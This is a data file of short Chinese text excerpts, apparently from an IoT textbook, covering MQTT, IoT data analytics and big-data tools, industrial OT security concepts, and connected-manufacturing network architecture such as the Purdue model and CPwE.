    {"text": "2.消息队列遥测传输（MQTT） 在20世纪90年代末，来自IBM和Arcom（2006年被Eurotech收购）的工程师在寻找一个轻量级、经济高效的可靠协议来监控大量来自于一个中央服务器位置的传感器及其数据，这种协议通常由石油和天然气行业使用。 他们的研究促使了消息队列遥测传输（MQTT）协议的开发和实现，该协议现在由结构化信息标准促进组织（OASIS）进行标准化。"},
    {"text": "使用MQTT，客户端可以订阅发布者信息树中的所有数据（使用通配符）或特定数据。 此外，MQTT中存在的消息代理可以将充当发布者和订阅者的客户端之间的数据传输进行解耦。"},
    {"text": "图6-11所示为MQTT消息格式。 图6-11 MQTT消息格式 与图6-7中的CoAP消息格式相比，可以看到MQTT包含一个更小的包头（2字节），而CoAP有4字节。 包头中的第一个MQTT字段是消息类型，它标识消息中MQTT包的类型。"},
    {"text": "平稳的连接终止是通过DISCONNECT控制包完成的，该控制包还为客户端提供了这一功能，即客户端通过重新发送其客户端ID来重新建立连接，并恢复操作。"},
    {"text": "例如，订阅adt/lora/adeunis/#可以接收整个子树，其中可以包含以下主题名称： ■ adt/lora/adeunis/0018B20000000E9E ■ adt/lora/adeunis/0018B20000000E8E ■ adt/lora/adeunis/0018B20000000E9A 加号（+）是一个通配符，只匹配一个主题级别。"},
    {"text": "表6-3从物联网的角度概述了MQTT和CoAP之间的差异，以及它们的优缺点。 表6-3 CoAP与MQTT的比较 总之，MQTT“多对多”的订阅框架不同于“一对一”的CoAP模型，这使它成为某些部署的更好选择。"},
    {"text": "未知 第7章 物联网的数据和分析 在经典的美国科幻电视剧《星际迷航》（Star Trek）中，一个名为“特里布尔”（tribble）的毛茸茸的外星生物被带上了“进取号”（Enterprise）星际飞船。"},
    {"text": "起初，可爱的特里布尔被当作宠物，但其不同寻常的特性开始显现：它能够以惊人的速度复制自己，以至于飞船很快就充满了特里布尔的复制体，他们开始消耗飞船上的所有补给并开始干扰飞船的系统。"},
    {"text": "然而，随着时间的推移，越来越多的设备加入物联网，这些系统产生的数据使服务器难以承受。 这些数据不仅开始消耗宝贵的网络带宽，而且在对这些数据尝试处理、排序和分析时，服务器资源的负担也越来越重。"},
    {"text": "正如本书所讨论的，物联网的真正价值不仅在于连接事物，还在于这些事物产生的数据、通过这些关联的事物实现的新服务，以及数据可以揭示的商业洞见。"},
    {"text": "本章将通过物联网的角度提供数据领域的概览，内容如下。 ■ 物联网数据分析简介：本节介绍物联网分析的主题，并讨论结构化和非结构化数据之间的区别。 本节还讨论分析与物联网数据的关系。"},
    {"text": "■ 网络分析：本节介绍了在物联网系统中使用Flexible NetFlow进行网络流分析的概念。 NetFlow可以帮助我们更好地理解整个系统的功能，提高物联网的安全性。"},
    {"text": "7.1 物联网数据分析简介 在物联网世界中，从传感器创建大量数据是常见的，也是最大的挑战之一——从传输的角度来看如此，从数据管理的角度来看也是如此。"},
    {"text": "从物联网的角度来看，两个重要的分类依据是数据是结构化的还是非结构化的，以及数据是处于活动状态还是静止状态。 7.1.1 结构化数据与非结构化数据的比较 结构化数据和非结构化数据是重要的分类，因为从数据分析的角度来看，它们通常需要不同的工具集。"},
    {"text": "图7-2 结构化数据与非结构化数据的比较 结构化数据意味着数据遵循这样一种模型或模式，即这种模型或模式定义了数据的表示或组织方式，这意味着它非常适合于传统关系数据库管理系统（RDBMS）。"},
    {"text": "由于结构化数据具有高度组织化的格式，因此可以使用大量的数据分析工具来处理这类数据——从自定义脚本到Microsoft Excel和Tableau等商业软件，大多数人都对结构化数据比较熟悉。"},
    {"text": "注释：第三种数据分类是半结构化数据，有时包括在结构化和非结构化数据中。 大家可能猜到了，半结构化数据是结构化数据和非结构化数据的混合，并且具有与两者相同的特性。 虽然不属于关系型数据，但是半结构化数据包含一定的模式和一致性。 电子邮件是半结构化数据的一个很好的例子，因为字段定义得很好，但是正文字段和附件中包含的内容是非结构化的。"},
    {"text": "7.1.2 动态数据与静态数据 与大多数网络一样，物联网网络中的数据要么在传输中（“动态数据”），要么被保存或存储（“静态数据”）。"},
    {"text": "图7-4 价值和复杂性因素在数据分析类型中的应用 7.1.4 物联网数据分析面临的挑战 随着物联网的发展，传统的数据分析解决方案受到了挑战。"},
    {"text": "除物联网带来的关系数据库挑战外，物联网拥有大量频繁变化的智能对象数据，还带来了数据的实时流媒体特性和网络级别的数据管理方面的挑战。"},
    {"text": "例如，每当在无人驾驶汽车、人群中的异常模式识别或任何其他自动化智能机器辅助决策系统领域取得新进展时，ML就是使该进展成为可能的工具。"},
    {"text": "配备有基本摄像头的传感器可以捕捉形状，并将其返回给一个计算系统，该系统负责确定形状是人还是其他物体（比如一辆汽车、一堆矿石、一块石头、一块木头等）。"},
    {"text": "将每幅新图像与一组已知的“良好图像”进行比较，并计算一个偏差，以确定新图像与一般人类图像的差异，从而确定显示的是一个人类图形的概率。"},
    {"text": "在实际进行现场部署之前，通常使用未标记的图片对机器进行测试（根据使用的ML系统，这称为验证或测试集），以验证识别级别是否处于可接受的阈值。"},
    {"text": "例如，处理人类图像识别的神经网络可能在第一层有两个单元来确定图像是否有直线和锐角，因为车辆通常有直线和锐角，而人体没有。 如果图像成功通过第一层（因为没有或只有一小部分的锐角和直线），第二层可能会寻找不同的特征（是否存在面孔、手臂等），然后第三层可能会将图像与各种动物的图像进行比较，并得出结论“该形状是人（或不是人）”。"},
    {"text": "图7-6 神经网络的例子 相比之下，旧的监督ML技术会在训练阶段将人体图像与潜在的数十万幅图像进行逐像素比较，实现困难且成本较高（需要大量训练），操作起来也比较慢。"},
    {"text": "神经网络一直是许多研究工作的主题，其中多项研究和优化工作已经检查了单元和层的数量、每层处理的数据类型，以及用于处理数据的算法类型和组合，以使处理特定应用程序的效率更高。"},
    {"text": "当一个层的结果被输入另一层时，这个过程被称为深度学习（“深度”是因为学习过程不止有一个层）。 深度学习的一个优点是，拥有更多的层可以实现更丰富的中间处理和数据表示。"},
    {"text": "■ 本地学习：在这个组中，数据在本地收集和处理，要么在传感器本身（边缘节点）中，要么在网关（雾节点）中。 ■ 远程学习：在这个组中，数据被收集并发送到一个中央计算单元（通常位于特定位置或云中的数据中心），在那里进行处理。"},
    {"text": "处理数据是为了更好地理解运行条件，这些条件可以指外部因素，如空气温度、湿度或矿井中是否存在二氧化碳，也可以指内部操作因素，如泵的压力、管道中石油的粘度等。"},
    {"text": "ML 可以用于监测，以检测早期故障情况（例如，K-means偏差显示超出范围的行为）或更好地评估环境（例如机器人根据识别的形状自动分类材料或在仓库或供应链中挑选货物）。"},
    {"text": "例如，智慧城市的水净化厂可以根据使用的化学物质（来自A公司或B公司）、温度，以及与什么搅拌机制（搅拌速度和深度）相关联，实施一个系统来监控净化过程的效率。"},
    {"text": "在许多情况下，系统还可以自动订购被检测到接近故障的设备，或自动采取纠正措施以避免故障（例如，降低操作速度、修改机器的运动以避免薄弱环节的损坏）。"},
    {"text": "所有这些信息都可以与交通数据相结合，从而在全局范围内规范交通灯模式，减少工业污染源的排放，或者在受影响较大的轴线上增加公共交通车辆的密度。"},
    {"text": "将特定和专业系统上的雾计算与来自多个来源的数据的云计算相结合，并衍生出全局或本地纠正措施的能力，是ML在物联网领域如此强大的原因。"},
    {"text": "7.2.3 预测分析 物联网的机器学习和大数据处理非常好地回答了第1章提出的问题“什么是物联网”，该模型的高级阶段是网络自诊断和自优化。"},
    {"text": "对每台机车的状态进行建模以及把这些信息与整个城市、省、州或国家其他相同类型的机车轨道上的预期出行和状态（和被检测到的故障）进行整合，使得分析平台能够对可能影响每列火车和每辆机车的问题做出非常准确的预测。"},
    {"text": "7.3 大数据分析工具和技术 虽然Hadoop确实是当今许多大数据实现的核心，对于初次接触数据管理的人来说，将大数据和Hadoop互换使用是一个常见的错误。"},
    {"text": "其次是事务性数据，这些数据来自于从这些系统上的事务中产生数据的源，并且具有高容量和结构化的特点。 再次是社交数据源，通常是高容量和结构化的。"},
    {"text": "对于数据摄取，有几种模式需要考虑。 首先是多源摄取，它将多个数据源连接到摄取系统。 在此模式中，摄取节点接收来自多个源的数据流，并在将数据传递给中间节点和最终存储节点之前进行处理。"},
    {"text": "大规模并行处理（MPP）数据库建立在关系数据仓库概念的基础上，但其设计目的是处理速度更快、更高效，并支持更少的查询时间。 为了实现这一点，MPP数据库利用了在扩展架构中设计的多个节点（计算机），这样数据和处理都分布在多个系统中。 MPP有时被称为分析数据库，因为它们被设计为允许快速查询处理，并且通常具有内置的分析功能。"},
    {"text": "数据存储在节点之间以结构化的类似于SQL的格式进行优化，允许数据分析师使用常见的SQL工具和应用程序处理数据，对复杂SQL查询进行分布和优化，从而显著提高响应速度。"},
    {"text": "图7-7 MPP无共享架构 7.3.2 NoSQL数据库 除了支持由数据仓库和MPP处理的结构化数据外，NoSQL（“不仅是SQL”）是一类支持半结构化和非结构化数据的数据库。"},
    {"text": "与其他数据存储类似，如MPP和Hadoop（稍后讨论），NoSQL是横向扩展的，允许数据库跨越多个主机，甚至可以在地理上进行分布。 将NoSQL数据库扩展到其他节点类似于在其他分布式数据系统中进行扩展，其中附加的主机由主节点或进程管理。"},
    {"text": "这种灵活性使NoSQL成为保存与智能对象相关的机器和传感器数据的良好选择。 在符合NoSQL类别的数据库类型中，键值存储和文档存储往往最适合所谓的“物联网数据”。"},
    {"text": "与前面讨论的MPP和NoSQL系统非常相似，Hadoop依赖于一个扩展架构，该架构利用本地处理、内存和存储来分发任务，并为数据提供一个可扩展的存储系统。"},
    {"text": "对于HDFS，此功能由集群中的专用节点处理，包括NameNodes和DataNodes（见图7-8）。 ■ NameNode：这是在HDFS上添加、移动、删除和读取数据的关键部分。"},
    {"text": "图7-8 分布式Hadoop集群 图7-9 将文件写入HDFS的流程 YARN Hadoop 2.0版本引入了YARN（Yet Another Resource Negotiator，另一个资源协商器）来增强MapReduce的功能。"},
    {"text": "通过开发专用的集群资源调度器，Hadoop除了使用MapReduce进行批处理外，还能够向其核心功能集中添加额外的数据处理模块，包括交互式SQL和实时处理。"},
    {"text": "7.3.4 Hadoop生态系统 如前所述，Hadoop在物联网数据的收集、存储和处理方面扮演着越来越重要的角色，因为它具有高度可扩展性，并且能够处理大量数据。"},
    {"text": "自从2011年Hadoop首次发布以来，已经开发了许多项目来增加Hadoop的功能，这些项目统称为Hadoop生态系统。 Hadoop最初作为一个分布式存储和处理系统时可能很薄弱，但后来发展成为一个健壮的项目集合。"},
    {"text": "由于Kafka的分布式特性，它可以在集群配置中运行，可以同时处理许多生产者和消费者，并在节点之间交换信息，允许主题分布在多个节点上。"},
    {"text": "实时处理由Apache Spark项目中的一个名为Spark流的组件完成。 Spark流是Spark Core的一个扩展，负责从消息传递系统（如Kafka）获取实时流数据，并将其分成更小的微批。"},
    {"text": "几乎每个大型技术公司现在都在销售来自云端的软件和服务，其中包括数据分析系统，无论它们是作为公共云运营商提供的服务，还是构建在大型私有数据中心云中。"},
    {"text": "在边缘生成的数据量不仅巨大，这意味着需要对云或数据中心的带宽需求进行设计以匹配，而且数据可能对时间非常敏感，需要及时关注，而且不可能等待在云中进行深入分析。"},
    {"text": "例如，在一级方程式赛车比赛中，每辆赛车都有150～200个传感器，这些传感器合在一起每秒能产生1000个以上的数据点，每场比赛会产生数百GB的原始数据。"},
    {"text": "研究组发现，通过对行驶数据的分析可以获得巨大的洞察力，从而获得更好的比赛结果——这些数据可能来自许多不同的来源，包括赛道传感器、汽车遥测技术和天气报告。"},
    {"text": "在世界上遥远的地方，不仅收集和分析这些数据所需的时间较长，效率低下，而且可能意味着成功的比赛策略（能够适应不断变化的环境）与因缺乏灵活性而无法向车手发送有意义的指令，这两者之间存在巨大差别。"},
    {"text": "数据的收集是随着时间的推移进行的，以便可以通过批处理工具（如RDBMS、Hadoop或其他工具）对其进行分析，从而获得业务见解，并从数据中获取价值。"},
    {"text": "流式分析包括分析正在进行的比赛，并试图根据实时的实际表现来确定谁将赢得比赛，这种分析通常是在尽可能接近边缘的情况下进行的。 流式分析允许用户持续实时监控和评估数据，以便随着比赛的进展调整或微调策略。"},
    {"text": "在物联网中，通过在边缘进行流式分析（在传感器本身或非常接近传感器的位置，例如集成到网关的雾节点），可以实时处理数据，而无须等待云中批处理的结果。"},
    {"text": "从安全的角度来看，在边缘对分析和预处理的数据进行即时访问，可使得组织意识到网络中的异常，以便在这些异常扩散到网络的其他部分之前能够快速地控制它们。"},
    {"text": "在这种情况下，APU根据过去两分钟的平均值来报告传感器每分钟的平均温度（例如，在实时监测食品杂货店的食品时，需要监测露天制冷装置的温度波动平均值，以确保食品的安全）。"},
    {"text": "该数据以流的形式呈现给分析引擎（请注意图右下角的排列），该引擎建立时间窗口并计算过去两分钟内的平均温度，每分钟报告一次结果（在图的右侧）。 图7-13 示例：建立时间窗口，分析来自传感器的平均温度 ■ 关联：当来自不同类型的传感器的多个数据流组合在一起时，流数据分析变得非常有用。"},
    {"text": "图7-14 将数据流与历史数据关联起来 ■ 匹配模式：一旦数据流被正确地清理、转换，并与其他实时流以及历史数据集关联，即可使用模式匹配操作来对数据进行更深入的了解。"},
    {"text": "例如，对医院中的患者进行边缘分析，可以使工作人员更快地响应患者不断变化的需求，还可以减少发送到云中的非结构化（而且并不总是有用）的数据量。"},
    {"text": "虽然直接在边缘进行分析可能有一些价值，但是在该例子中，传感器通过MQTT消息代理与雾分析节点通信，从而允许更广泛的数据集（MQTT在第6章中进行了详细讲解）。"},
    {"text": "如第6章所述，物联网端点与一般的计算平台不同，它被设计为直接与极少数特定的应用服务器通信，如物联网消息或数据代理，或特定的应用服务器和网络管理系统。"},
    {"text": "这种行为代表了在执行网络分析时可以利用的一个关键方面，网络分析为可扩展的物联网部署提供了处理容量规划的能力，并提供了安全监控，以检测集中式或分布式架构（如雾计算）的异常流量和模式（如协议的异常流量峰值）。"},
    {"text": "为了监控网络基础设施，事实上的行业标准和协议允许对IP流量流进行普遍的特征描述，包括识别网络基础设施中的源地址和/或目标地址、定时数据和数据量，以及应用程序类型。"},
    {"text": "图7-16 智能电网FAN分析与NetFlow实例 在物联网基础设施部署的背景下，对于第4章、第5章和第6章中讨论的技术，流分析的好处如下（其他网络管理服务除外）。"},
    {"text": "■ 应用流量监测和分析：监测和分析可用于获得物联网接入服务基于时间的详细视图，如应用层协议，包括MQTT、CoAP和DNP3，以及在网络上使用的相关应用程序。 ■ 容量规划：流量分析可用于跟踪和预测物联网流量增长，并在部署新位置或服务时，通过分析长期捕获的数据，帮助制定升级计划。"},
    {"text": "■ 安全分析：由于大多数物联网设备通常产生的流量较小，并且总是将数据发送到同一服务器，因此网络流量行为的任何变化都可能意味着网络安全事件，如拒绝服务（DoS）攻击。"},
    {"text": "注释：在路由器或交换机中转发的每个数据包，都要对其检查一组IP包属性。 这些属性是流的IP包标识或关键字段，并确定包信息是否唯一或与其他包类似。"},
    {"text": "为了便于使用，可以预定义流记录，也可以由用户自定义流记录。 典型的预定义记录并聚合流数据，并允许用户使用针对NetFlow的常见应用程序。 用户定义的记录允许在流记录中选择特定的关键或非关键字段。"},
    {"text": "传统的数据管理是由关系数据库执行的，关系数据库负责处理表中结构良好的数据，这些表和数据结构之间的关系很容易理解，并且可以通过SQL轻松访问。"},
    {"text": "随着时间的推移，流媒体边缘分析系统已经被开发出来，不仅可以过滤和减少物联网设备产生的数据，还可以对尽可能靠近网络边缘的物联网设备进行近实时响应。"},
    {"text": "网络分析并不关注数据的内容，而是用于发现网络通信行为中的模式，帮助识别和预防安全漏洞，规划网络演进，以及更好地理解各种网络元素的行为。"},
    {"text": "从为我们提供电力的电网系统到控制城市交通的红绿灯，再到保持飞机有序高效飞行的系统，网络、设备以及使用它们的应用程序的安全性是现代通信系统的基础和必要条件。"},
    {"text": "■ 正式的风险分析结构（OCTAVE和FAIR）：本节提供了一个整体的视角，以确保运营环境和风险评估框架的安全，这个风险评估框架包括组成控制系统的人员、流程和供应商生态系统组件。"},
    {"text": "与大多数其他行业相比，工业环境中的网络安全事件可能会导致对人类生命构成威胁，以及破坏设备、基础设施和环境等物理后果。 虽然工业环境中确实存在传统的IT相关安全威胁，但OT安全事件的物理表现和影响才是吸引媒体关注和引起广泛公众关注的原因。"},
    {"text": "2015年，乌克兰配电运营商基辅电力公司（Kyiv Oblenergo）的控制系统被攻击者远程控制，停电持续数小时，导致几天内数千名用户的服务质量下降。"},
    {"text": "除了由不同的工业环境强加的策略、法规和治理外，还有一定数量的最终用户偏好和特定于部署的设计，它们决定了IT和OT环境之间的隔离程度。"},
    {"text": "尽管IT和OT网络在世界大部分地区仍然是分开运行和管理的，但当前的趋势是以IT中心技术为基础（如TCP/IP、以太网和公共API）来整合网络。"},
    {"text": "这种可访问性和规模使安全性成为一个主要问题，特别是运营领域中的许多系统和设备从未被设想在一个共享的、基于开放标准的基础设施上运行，而且它们的设计和开发并不具备高水平的内置安全功能。"},
    {"text": "与基于IT的企业不同，OT部署的解决方案通常没有理由进行更改，因为它们的设计是为了满足特定的（通常是一次性的）功能，并且没有需要升级的要求或动机。"},
    {"text": "因此，部署的OT系统通常具有较慢的开发和升级周期，并且可能很快与传统IT网络环境不同步。 其结果是OT技术和负责这些操作系统的人员的知识都比他们的IT同行更新得更慢。"},
    {"text": "图8-1 2010年以来工业控制系统漏洞披露历史 由于大多数OT环境的变化速度较慢，升级周期较长，因此工业通信和计算技术的安全性投资远远落后于传统IT企业环境的安全性投资。"},
    {"text": "最初的设计挑战源于这样一个概念，即网络是安全的，因为它与企业在物理上是隔离的，与外部世界的连接很少甚至没有，并且假定攻击者缺乏足够的知识来执行安全攻击。"},
    {"text": "在北美，有来自监管部门的监管要求，如北美电力可靠性公司（NERC）的关键基础设施保护（CIP）（详见第11章），要求采取合理规范的操作来实现安全的网络连接和控制。"},
    {"text": "这方面的3个例子是通信端点之间通常缺乏身份验证、无法保护静态或动态数据，以及控制粒度不足，无法正确指定接收方或避免默认的广播方法。"},
    {"text": "因此，破坏协议本身并引入不轨之徒是一件相对简单的事情，这些不轨之徒可能利用协议来破坏控制系统，用于侦察或攻击目的，从而在正常的系统操作中导致不良影响。"},
    {"text": "5.国际电工委员会（IEC）协议 IEC 61850标准的创建是为了适应不受供应商约束的电力系统工程，这将反过来允许供应商和标准化的通信协议之间的互用性。"},
    {"text": "例如，许多物联网网络一直延伸到各个传感器，因此使用了诸如受限应用协议（CoAP）（参见第6章）和数据报传输层安全（DTLS）等协议，这些必须从安全的角度单独考虑。"},
    {"text": "图8-2通过简单地将Black Hat安全会议上提出的工业安全主题的数量与工业控制系统报告的漏洞数量叠加，以图形化的方式显示了这一点。 Black Hat关于OT安全主题的演示与发现的漏洞数量之间的相关性是显而易见的，其中包括相关的发现速度在变慢。 图8-2 工业Black Hat演示与发现的工业漏洞的相关性 要了解设备不安全的本质，重要的是回顾所发现的漏洞和受影响的设备类型的历史记录。"},
    {"text": "回顾2000-2010年的时间段，可以看到，大部分的发现都是发生在运行网络的较高级别，包括受信任的控制系统，这些控制系统可以运行工厂、传输系统、石油管道或任何正在使用的关键功能。"},
    {"text": "尽管如此，这种情况已经开始得到业界的重视，并且通过最近一系列措施得到改善，这些措施旨在正式解决工业环境中的安全漏洞和系统测试问题。"},
    {"text": "虽然情况有所改善，但OT方面的努力仍然远远落后于基于IT的创新，比如bug赏金奖励计划和高级漏洞准备计划，以及类似于Microsoft主动保护计划（MAPP）的事情。"},
    {"text": "8.2.6 对外部供应商的依赖 虽然现代IT环境可能将业务操作外包或将某些处理或存储功能委托给云，要求IT硬件资产的原始设备制造商来操作设备的情况并不常见。"},
    {"text": "虽然可以编写合同来描述设备监测和管理要求，并明确说明需要什么类型的访问以及在什么条件下访问，但它们通常无法解决安全漏洞的共同责任问题或确保通信安全的过程。"},
    {"text": "这种对供应商的依赖和控制并不局限于远程访问，还需要对获得计算机和网络访问权限的非雇员进行现场管理，且同样需要遵守控制条件和共享责任声明。"},
    {"text": "根据美国劳动局（US Bureau of Labor）的一项研究，2000-2012年，北美制造业工人与其他非农业工人的平均年龄差距扩大了一倍，而且这一趋势没有逆转的迹象。"},
    {"text": "与此同时，新的连接技术开始在OT工业环境中引入，这些环境需要最新的技术，比如TCP/IP、以太网和无线技术，这些技术正在迅速取代基于串行的传统技术。"},
    {"text": "不幸的是，考虑到破坏这些系统可能对公众造成的巨大影响，尽管在这些领域投入了大量的安全投资，但人们对于以IT为中心的技术和外部连接的关联，仍然存在一种健康的偏执。"},
    {"text": "8.3 IT和OT安全实践及系统的差异 了解企业IT环境和以行业为重点的OT部署之间的差异非常重要，因为它们直接影响应用于它们的安全性实践。"},
    {"text": "从组织上看，IT和OT团队与工具在历史上是分开的，但是这种情况已经开始改变，并且它们已经开始聚合，从而引入更传统的以IT为中心的解决方案来支持运营活动。"},
    {"text": "图8-4 2011年发布的漏洞区域工业安全报告 8.3.2 OT网络特性影响安全 虽然IT网络和OT网络开始融合，但在如何操作和处理流量方面，它们仍然保持着许多不同的特征。"},
    {"text": "以电子邮件、文件传输或打印服务形式出现的数据很可能都将被发送到中央数据中心，在那里它将在更多的本地服务（如打印机）中响应或触发操作。"},
    {"text": "SCADA流量就是一个很好的例子，其中关于远程设备的信息或来自某一功能的汇总信息在系统层面共享，以便操作人员能够了解整个系统或部分系统如何运行。"},
    {"text": "在OT领域，网络时间通常反映企业使用NTP/SNTP对主时间源进行设备计时的情况，许多用例需要非常精确的时钟源和非常精确的时间同步/分布，以及可测量的、连续的延迟/抖动。"},
    {"text": "一些工业应用需要通过IEEE 1588、PTP（精确时间协议）定时，这样来自源和目标的信息可以在微秒间隔内精确测量和比较，而通信设备的延迟不超过50纳秒。"},
    {"text": "在公用事业领域，北美电力可靠性公司（NERC）的关键基础设施保护（CIP）为北美公用事业公司制定了有法律约束力的指导方针，IEC 62351是电力行业的网络安全标准。"},
    {"text": "8.5.1 网络基础设施和资产的安全 考虑到典型的物联网或工业系统中的网络、计算或操作元素可能已经存在多年，而且物理布局在很大程度上定义了运营过程，这种引入现代网络安全的分阶段方法从非常温和、非侵入性的步骤开始。"},
    {"text": "图8-6所示为过程控制层次结构中的层间安全模型和层间通道。 图8-6 在过程控制层次结构模型中级别和区域之间的安全性 对于较旧的网络设备，正常的网络发现过程可能存在很大的问题。"},
    {"text": "这不仅仅查看在哪些端口有哪些光纤或电缆，而且是观察每个网络设备上其他物理连接（如USB、SD卡、警报通道、串行或其他连接）的使用或运行状态。"},
    {"text": "需要持续关注的一件事是始终存在的危险、不安全且常常没有文档记录的便利端口，任何物理端口未被物理锁定或没有实施保护策略都是一个失控的威胁载体。"},
    {"text": "在上游级别，考虑流量控制，如拒绝服务（DoS）保护、流量标准化活动和服务质量（QoS）控制（例如标记流量、黑洞流量，或限制速率的清除器级别的流量）。"},
    {"text": "这些技术可以用来检测多种感兴趣的流量，从简单地识别应用程序在做什么、通信是否被混淆、漏洞利用是否针对具体漏洞，到被动地识别网络上的资产。"},
    {"text": "在网络的较高级别上有大量功能更强大的资产，比如标准的网络设备（例如，目录服务器、网络监控工具、远程访问和代理服务器、打印服务器、安全控制设备）。"},
    {"text": "如果这里承载的应用程序在本质上与IT环境中的应用程序（例如，基于Windows或Linux的应用程序）相似，则需要公共网络基础设施、基于Web的访问等来实现适当的可见性、控制和保护。"},
    {"text": "情况将不可避免地发生变化，因此安全部署（甚至是网络本身）必须发生改变以适应变化。 无论将安全执行设备和它们采用的策略部署在何处，必须随时准备对它们进行更改。"},
    {"text": "有鉴于此，OT安全从业者跨越面向Internet的安全层，通过核心网络，协调从远程启动器到工业界的切换点，再到更深层次物联网资产在内的访问控制策略，将具有重要的价值。"},
    {"text": "9.1 互联制造业简介 在最近一项对400多名制造企业领导者的SCM World调查中，约80%的参与者表示，他们最大的挑战是满足客户交付日期和对未预见事件的响应。"},
    {"text": "图9-1 将关注点从成本转移到敏捷性 在充满活力的经济环境中，制造商认识到有必要迅速扭转项目的颓势，需要能够根据市场需求迅速扩大、调配和调整生产能力。"},
    {"text": "将以前未连接的机器连接到智能数据系统，进而使用机器生成的数据以更高效的方式更好地利用现有投资，被视为工厂现代化的唾手可得的成果。"},
    {"text": "■ OT和IT收敛：在工厂的物联网环境中，运营技术由可编程逻辑控制器（PLC）、计算机和其他技术组成，这些技术通常与IT中使用的技术类似，但由IT外部的业务运营商运营和拥有。"},
    {"text": "■ 机械制造OEM专注于新的优先事项：原始设备制造商（OEM）正面临着新的基于云的供应商的破坏，这些供应商打算提供“机器即服务”（MaaS），通过从云端进行零接触部署，机器可以快速部署到工厂车间，从而提供对这些机器的远程连接和监控。"},
    {"text": "9.1.2 通过物联网推动业务改进 令制造商鼓舞的消息是，尽管技术和商业模式正在发生巨大变化，IT和OT生产网络的融合不可避免，但是将业务流程改进和质量工作作为重点的相同衡量标准如今仍然适用于物联网和数字制造计划。"},
    {"text": "有这样一个案例：一家领先的机器人制造商为一家领先的汽车制造商实现了实时数据分析和预测维护应用程序，完全避免了数千个机器人的计划外停机。"},
    {"text": "CPwE是一个架构框架，它为IACS设备和设备提供网络服务，并促进安全集成到企业网络中。 在详细讨论CPwE框架之前，定义几个关键术语并回顾IACS参考模型非常重要，CPwE充分利用了IACS参考模型。"},
    {"text": "根据20世纪90年代由普渡大学计算机集成制造联盟（Purdue University Consortium for Computer Integrated Manufacturing）开发的普渡控制层次模型（Purdue Model for Control Hierarchy），制造业将设备划分为不同层次的功能。"},
    {"text": "国际自动化协会（ISA99）制造和控制系统安全委员会（现为IEC-26443）已经确定了基于这个层次结构的制造逻辑框架，如图9-3所示。 图9-3 基于普渡模型的ISA99 / IEC-62443 IACS逻辑框架 IACS逻辑框架标识了制造工厂的功能区和级别，并定义了每个级别的操作（注意这里使用的命名是级别，而不是层，以避免与协议栈模型混淆，比如OSI模型）。"},
    {"text": "■ 单元/区域：单元/区域是工厂内的机器区域。 在一个工厂中通常有多个单元/区域。 例如，在电子工厂中，可能有一个单元/区域是组装过程区域。 单元/区域可能只由一个控制器和相关设备组成，也可能由大型装配线上的多个控制器组成。 事实上，一个工厂可能有许多单元/区域。"},
    {"text": "这些设备与第1级中的基本控制设备通信。 ■ 第1级：基本控制。 第1级是控制制造过程的控制器所在的位置。 这些控制器与第0级物联网设备交互。"},
    {"text": "9.2.2 CPwE参考模型 随着制造业对工业应用以太网的接受，利用以太网和TCP/IP的通信协议应运而生。 为了应对这一趋势，Cisco和Rockwell公司开始共同开发Converged Plantwide Ethernet（CPwE）参考模型，该模型主要关注以太网/IP的传输（本章稍后讨论）。"},
    {"text": "图9-5 CPwE体系结构的高级视图：使用3种不同的单元/区域以太网拓扑 单元/区域内的以太网基础设施设备主要是工业级接入交换机，它们坚固耐用，无风扇，能够抵抗静电，并支持较大的温度范围。"},
    {"text": "与大多数园区网一样，工业区域集成了用于工厂IT运营和员工服务的接入交换机，并包含核心网络功能。 工业区域根据需要通过路由分布层交换机提供到多个单元/区域的网络连接。"},
    {"text": "9.2.3 CPwE弹性网络设计 由于IACS网络中敏感的控制器和应用的要求，在单元/区域内，IACS设备之间的网络弹性是一个强制性要求。 弹性IACS网络需要支持以下功能。"},
    {"text": "■ 可用性：在支持IACS应用程序正常运行时间和业务连续性方面，LAN拓扑的设计至关重要。 IACS应用程序对局域网的设计有严格的要求，包括网络可用性、性能和设备之间的距离。"},
    {"text": "■ 控制器到人机界面。 ■ 控制器到控制器。 ■ 控制器到输入/输出端口（I/O； 机器传感器和控制器模块）。 ■ 控制器到变频驱动器（VFD； 控制电机的可调节机电驱动器）。 ■ 控制器到电机控制中心（MCC； 在工厂中用来通过一个中央控制器控制大量的电动机）。"},
    {"text": "如图9-5所示，可以在单元/区域中使用几种不同的以太网拓扑，但是在所有情况下，区域内以太网段的高可用性都是必需的。 根据所实现的以太网拓扑，可以使用不同的高可用性技术来实现应用程序的连续性。"},
    {"text": "该公司每个班次都要生产数百辆摩托车，但由于在支持不同车辆的配置时比较复杂，它面临着重大的制造挑战，公司的主要目标是提高制造过程的敏捷性，CPwE能够解决这个问题，方法是通过以太网将机器数据引入中央仪表板。"},
    {"text": "将新机器快速联网并将它们连接到以太网网络的能力带来了更大的灵活性，并显著减少了新模型和新产品的引入，从而缩短了产品的整体上市时间。"},
    {"text": "与在IEEE 802.1D中标准化的生成树协议（STP）及其支持高速聚合的后续版本相似，REP控制连接到以太网段的一组端口，以确保不存在桥接环路，并且以太网段能够响应拓扑变化。"},
    {"text": "图9-6 当拓扑发生变化时的REP通知 图9-7 REP环段的重新聚合 由于工厂网络的融合推动了制造组织、系统和网络的重大变化，REP在提高应用程序可用性方面发挥了重要作用。"},
    {"text": "这些应用程序与有线以太网应用程序有类似的网络需求，因为它们要求可靠的数据传输和服务质量（QoS）处理，并且关键应用程序的延迟和抖动最小。"},
    {"text": "在控制系统需要可预测延迟的情况下，使用时间敏感网络（TSN）的替代无线技术（如WirelessHART或ISA100.11a）比WiFi更好（这些技术在第4章中讨论过）。"},
    {"text": "如果工厂层选择WiFi，WLAN系统需要根据IACS在工厂内使用WiFi网络的情况进行定制。 WLAN应该将IACS集成到更广泛的制造环境中，并且应该考虑广泛的客户端设备类型和应用程序，以及IACS应用程序所需的严格延迟。"},
    {"text": "例如旋转平台和唱机转盘、自动存储和检索系统（ASRS）、装配系统、高架起重机以及类似的机器，它们使用无线技术来代替有线解决方案，如感应导轨和滑环。"},
    {"text": "基于WiFi的位置跟踪系统通常包括有源电池供电的WiFi射频识别（RFID）标签，这些标签附着在机器、设备单元、车辆或其他设备上，这些设备在工厂内具有一定的移动性。"},
    {"text": "相比之下，基于WiFi的角度测量（也称为到达角）技术使用单个AP上的一组天线来测量到达角，通常可以产生比RSSI/距离测量方法更准确的位置估计。"},
    {"text": "在工厂里，使用RFID标签来定位飞机部件，使得公司可以通过使用移动优化软件更快地组装飞机，该软件可以将部件移动到需要的地方，并移除可能会减少对其他部件进行访问的对象。"},
